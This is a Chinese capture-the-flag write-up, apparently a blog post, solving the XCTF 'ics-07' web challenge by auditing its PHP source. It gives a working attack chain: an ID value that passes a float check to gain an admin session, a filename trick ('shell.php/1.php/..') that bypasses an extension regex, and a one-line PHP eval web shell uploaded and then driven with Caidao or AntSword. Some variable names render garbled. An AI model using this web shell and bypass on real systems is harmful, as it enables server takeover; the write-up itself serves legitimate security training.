攻防世界web进阶区ics-07

题目描述:工控云管理系统项目管理页面解析漏洞

打开靶机

在这里插入图片描述
根据题目描述,点击项目管理

点击view-source可以查看源码

大概有三部分

1,

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

if (isset($_GET[page]) && $_GET[page] != ‘index.php’)
page存在且page不等于index,文件包含flag.php

2,

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

拿到admin的session值, 将 c o n 的 内 容 写 入 到 con 的内容 写入到 confile

正则过滤,后缀名为php3,php4,php5,php7,.t,.tml

再将路径从backup修改为uploaded,即uploaded是真实路径

3,

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

id 存在 ,floatval( G E T [ i d ] ) ! = = ‘ 1 ‘ 浮 点 不 为 1 , s u b s t r ( _GET[id]) !== ‘1‘ 浮点不为1 ,substr( GET[id])!==11substr(_GET[id], -1) === ‘9‘ 最后一位为9

payload:?page=flag.php&id=1-9&submit

在这里插入图片描述
接下来,上传一句话木马

con为 文件内容 file为文件名 post上传

con=<?php @eval($_POST[cmd]) ?>&file=shell.php/1.php/…

php/1.php绕过第二段代码

在这里插入图片描述

查看是否上传成功

uploaded/backup

在这里插入图片描述
shell.php上传成功

菜刀或蚁剑连接

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到了flag

知识点:审计代码php和mysql浮点数精确度差异考察,正则绕过,一句话木马

参考文章:http://www.mamicode.com/info-detail-3043269.html

2020.8.14 公瑾

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值